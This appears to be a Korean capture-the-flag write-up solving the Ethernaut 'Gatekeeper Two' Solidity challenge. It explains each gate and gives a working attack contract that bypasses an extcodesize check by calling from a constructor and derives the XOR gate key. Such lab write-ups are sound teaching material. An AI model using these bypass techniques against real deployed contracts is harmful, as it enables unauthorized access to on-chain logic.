// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
이 문제는 개인적으로 Gatekeeper One 보다 쉬운 문제라고 생각한다.
gateOne()
은 Gatekeeper One과 똑같은 조건이다. 페이로드 컨트렉트를 만들자.
gateTwo()
는 assembly
가 있어서 어렵게 보일 수 있는데 extcodesize(caller())
가 무엇인지 yellow paper 11p 하단을 확인해보면 다음과 같은 내용이 있다.
During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while
CODESIZE should return the length of the initialization
즉, CA가 생성되는 과정 (constructor()
) 에서 EXTCODESIZE
는 0을 return 한다는 내용이다.
gateThree()
는 XOR의 성질을 알면 쉽게 느껴질 것이다. A^B=C이면 A^C=B, B^C=A 모두 성립한다.
이 세가지 정보를 이용하여 페이로드 컨트렉트를 작성하여 문제를 해결하였다.
contract attack {
constructor()
{
GatekeeperTwo target = GatekeeperTwo(0x6e4F986bD5d75ff79cEcA3f0371D4A13F0F33e7B);
bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
target.enter(_gateKey);
}
}